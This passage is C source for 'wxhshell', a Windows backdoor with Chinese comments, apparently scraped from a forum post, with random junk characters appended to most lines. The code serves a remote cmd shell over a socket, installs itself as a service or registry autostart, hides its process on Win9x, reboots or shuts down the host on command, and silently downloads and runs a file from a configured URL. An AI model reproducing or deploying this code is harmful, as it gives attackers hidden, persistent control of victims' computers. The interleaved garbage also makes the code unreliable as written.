    switch(cmd[0]) { b?Zt3#  
  ~[H+,+XLY+  
  // 帮助 Fu;\t 0  
  case '?': { 7%g8&d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B>=NE.ulUL  
    break; x;; =+)Gg  
  } _t'S<jTI  
  // 安装 $wq[W,'#L  
  case 'i': { Q#a<T4l  
    if(Install()) :l/?cV;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<w2j 6V  
    else LLlt9(^d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }>T$2"pf  
    break; FWu[{X;  
    } T|fmO<e*n  
  // 卸载 zJ9[),;7B  
  case 'r': { :#I7);ol  
    if(Uninstall()) \4qw LM?E^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~,jBm^4  
    else sCi"qtHP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y8k*{1MuO  
    break; rr;p;  
    } VGDds  
  // 显示 wxhshell 所在路径 R<-u`uX nP  
  case 'p': { pA|Z%aL  
    char svExeFile[MAX_PATH]; fVJsVZ"6v`  
    strcpy(svExeFile,"\n\r"); zVL"$ )  
      strcat(svExeFile,ExeFile); 9f/RD?(1O  
        send(wsh,svExeFile,strlen(svExeFile),0); U|2*.''+Q  
    break; %; 0l1X  
    } I]dt1iXu_{  
  // 重启 1B#Z<p  
  case 'b': { -hjGPu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RqnT*  
    if(Boot(REBOOT)) p#fd+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kx[u9MD  
    else { `~ ,  
    closesocket(wsh); ^P| K2at  
    ExitThread(0); FR%u1fi  
    } PRo;NE  
    break; Uw:gJ 9  
    } SmR"gu  
  // 关机 Y%"6  
  case 'd': { @2HNYW)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0w24lVR.  
    if(Boot(SHUTDOWN)) E?@batIrf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KTzkJx  
    else { |#x]FNg  
    closesocket(wsh); \8 ~`NF  
    ExitThread(0); ;uK">L[u'  
    } nGvWlx  
    break; `EjPy>kM  
    } _h2s(u >\  
  // 获取shell E,fG<X{  
  case 's': { iR`c/  
    CmdShell(wsh); e.<y-b?  
    closesocket(wsh); 6gSo>F4=  
    ExitThread(0); gr%!<2w  
    break; 0 jszZ_  
  } \KpSYX1  
  // 退出 Vu u2SS  
  case 'x': { 6n}5>GSF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  <m7T`5+  
    CloseIt(wsh); WOgPhJ  
    break; 7G^`'oZ  
    } c(tX761qz  
  // 离开 E@%X  
  case 'q': { w)u6J ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D-GIrw{>5  
    closesocket(wsh); `z?6.+C  
    WSACleanup(); x9&{@ ?o  
    exit(1); :^Ouv1!e1  
    break; TAl#V 7PF}  
        } *;]j#0  
  } pjI< cQ&  
  } 'Itsu~fza  
/6$8djw  
  // 提示信息 `!t+sX- n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =@UgCu>=  
} N8s2v W  
  } Oy,`tG0  
JkiMrpkuk  
  return; ls<7Qe"a  
} 'aFjyY?%  
j![;;  
// shell模块句柄 P%-@AmO^_  
int CmdShell(SOCKET sock) qit D{;  
{ 2d`:lk%\  
STARTUPINFO si; N=`xoF  
ZeroMemory(&si,sizeof(si)); AZi|85rN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >We:g Kxr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b<N962 q$q  
PROCESS_INFORMATION ProcessInfo; H+VKWGmfG  
char cmdline[]="cmd"; < mb.F-8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G31??L:<  
  return 0; _ zh>q4M  
} .%iJin"  
Xw|t.0  
// 自身启动模式 ~gjREl,+D#  
int StartFromService(void) H /kSFf{  
{ +Je(]b @  
typedef struct Ai 9UB=[R  
{ 6jGPmOM/  
  DWORD ExitStatus; U6R"eQUTV  
  DWORD PebBaseAddress; vXio /m  
  DWORD AffinityMask; 6axDuwQ  
  DWORD BasePriority; Ckelr  
  ULONG UniqueProcessId; 7i,Z c]  
  ULONG InheritedFromUniqueProcessId; kCq]#e~wq  
}   PROCESS_BASIC_INFORMATION; &vy/Vd  
) Apg  
PROCNTQSIP NtQueryInformationProcess; yLo{^4a.  
##6_kcL:6G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R-8/BTls7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; le*1L8n$'  
NvZ )zE  
  HANDLE             hProcess; axRzn:f  
  PROCESS_BASIC_INFORMATION pbi; 7:Jyu/*]  
-]uN16\ F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?&H1C4   
  if(NULL == hInst ) return 0; z&"-%l.b@}  
u)DhkF|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #\Q{?F!4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %/86}DCfE?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t:|+U:! >  
`3v! i   
  if (!NtQueryInformationProcess) return 0; X C jYm  
HhmC+3w.7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qrFC4\q}  
  if(!hProcess) return 0; b :Knc$  
}WN0L?h.E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i&r56m<  
3E!#?N|v  
  CloseHandle(hProcess); XYKWOrkQqa  
X>n\@rTo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B"-gK20vY  
if(hProcess==NULL) return 0; Whf7J'  
GS%i<HQ3  
HMODULE hMod; ,@_$acm  
char procName[255]; L=. 4x=%%  
unsigned long cbNeeded; n.[0#Ur&}  
{L!w/IeX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j4au Zl]NF  
@aG1PG{  
  CloseHandle(hProcess); %'}L.OvG  
x,s Ma*vd  
if(strstr(procName,"services")) return 1; // 以服务启动 a:PS}_.  
kp4*|$]  
  return 0; // 注册表启动 X[frL)k]  
} f PoC yl  
0/8rYBV  
// 主模块 6AZJ,Q\E@  
int StartWxhshell(LPSTR lpCmdLine) ]7QRelMiz+  
{ !bnuCc  
  SOCKET wsl; X(-e-:B4;  
BOOL val=TRUE; Y* #'Gh,  
  int port=0; kAbkhZ1^  
  struct sockaddr_in door; :qV}v2  
1_Um6vS#  
  if(wscfg.ws_autoins) Install(); TJ:B_F*bSk  
x*H4o{o0  
port=atoi(lpCmdLine); \haJe~  
$c-h'o  
if(port<=0) port=wscfg.ws_port; &S}i)Nu6J  
TzXivE@mm  
  WSADATA data; [<)/ c>Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U/ncD F%C  
cxTP4\T\E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rz]0i@ehv'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x?J- {6k  
  door.sin_family = AF_INET; 't$(Ruw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IT,TSs/Y  
  door.sin_port = htons(port); /t-m/&>  
Md \yXp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `U4R% qhWA  
closesocket(wsl);  w' E  
return 1; zN(fZT}K5  
} XE_|H1&j  
tHSe>*eC  
  if(listen(wsl,2) == INVALID_SOCKET) { {x $H# <Y  
closesocket(wsl); ^X6fgsjz  
return 1; tJ>OZ  
} DWB.dP *8  
  Wxhshell(wsl); G<kslTPyq  
  WSACleanup(); r5b5`f4  
JM5 w`=  
return 0; i|X ;n  
1 l'Wb2g>A  
} vUGEzCM  
N[ %^0T$  
// 以NT服务方式启动 (F$V m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l`L}*Q- 5  
{ ]8(_{@ /  
DWORD   status = 0; *rO#UE2  
  DWORD   specificError = 0xfffffff; UV%A l)3  
^CUeq"GYoZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N|c;Qzl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }/ 6Q3B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]HP aM  
  serviceStatus.dwWin32ExitCode     = 0; @O}%sjC1  
  serviceStatus.dwServiceSpecificExitCode = 0; ;z;O}<8s  
  serviceStatus.dwCheckPoint       = 0; i,R<`K0  
  serviceStatus.dwWaitHint       = 0; +'abAST t  
:\x)`lu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N"2Ire  
  if (hServiceStatusHandle==0) return; JcEPwF.  
VnUW UIVJ  
status = GetLastError(); d `LBFH,  
  if (status!=NO_ERROR) ?5e:w?&g@  
{ 2f1WT g)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /,'D4s:Gg  
    serviceStatus.dwCheckPoint       = 0; ^)&d7cSc  
    serviceStatus.dwWaitHint       = 0; sQrP,:=r#  
    serviceStatus.dwWin32ExitCode     = status; *<n]"-  
    serviceStatus.dwServiceSpecificExitCode = specificError; :ND5po#(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *TY?*H  
    return; ANEW^\  
  } =Mb!&qq  
]}2+yK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XVjs0/5b  
  serviceStatus.dwCheckPoint       = 0; '~ RP+  
  serviceStatus.dwWaitHint       = 0; T]d9tX-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^)Xl7d|m+  
} ~:r:?PwWG  
* 8n0  
// 处理NT服务事件,比如:启动、停止 EnXNTat})  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jrd:6Z  
{ v*'dA^Q  
switch(fdwControl) S6gg(nNe  
{ bX%9'O[-  
case SERVICE_CONTROL_STOP: 7A|n*'[T>  
  serviceStatus.dwWin32ExitCode = 0; PSz|I8 c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fOEw]B#@  
  serviceStatus.dwCheckPoint   = 0; T+7O+X#  
  serviceStatus.dwWaitHint     = 0; won;tO]\;@  
  { ~=~|@K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sw<@u+Z;%  
  } ftB-gItV  
  return; gT$`a  
case SERVICE_CONTROL_PAUSE: mGZ^K,)&OR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZI4[v>  
  break; :@zz5MB5@  
case SERVICE_CONTROL_CONTINUE: 7Z0fMk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mt$0p|B8  
  break; 5y;texsj[  
case SERVICE_CONTROL_INTERROGATE: -@{5 u d  
  break; !E<y:$eH:  
}; e;9Z/);#s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }p 0 \  
} HV@ C@wmg  
Su99A.w  
// 标准应用程序主函数 coq7La[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n}cjVH5  
{ | T<t19  
XnmQp)nyV  
// 获取操作系统版本 m[6?v;w  
OsIsNt=GetOsVer(); S%zn {1F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T9.3  
$eUI.j(HU  
  // 从命令行安装 $_NYu  
  if(strpbrk(lpCmdLine,"iI")) Install(); K[JbQ30  
5 s3!{zT{  
  // 下载执行文件 Q$!dPwDg  
if(wscfg.ws_downexe) { 2mj?&p?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F)_zR  
  WinExec(wscfg.ws_filenam,SW_HIDE); {2Jo|z  
} rnW(<t"  
\^O&){q(9  
if(!OsIsNt) { 1sgI,5liUs  
// 如果时win9x,隐藏进程并且设置为注册表启动 OKs1irt5  
HideProc(); *;7~aM  
StartWxhshell(lpCmdLine); ^]}+ s(  
} *#p}>\Y{  
else T.\=R  
  if(StartFromService()) ;oW#>!HrY  
  // 以服务方式启动 *@`Sx'5!  
  StartServiceCtrlDispatcher(DispatchTable); 7M;7jI/C  
else yO\ .dp  
  // 普通方式启动 -\C;2&(  
  StartWxhshell(lpCmdLine); r:fMd3;gq  
BEWDTOY[  
return 0; Lky<L96  
}
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只看该作者 1 发表于: 2006-10-10
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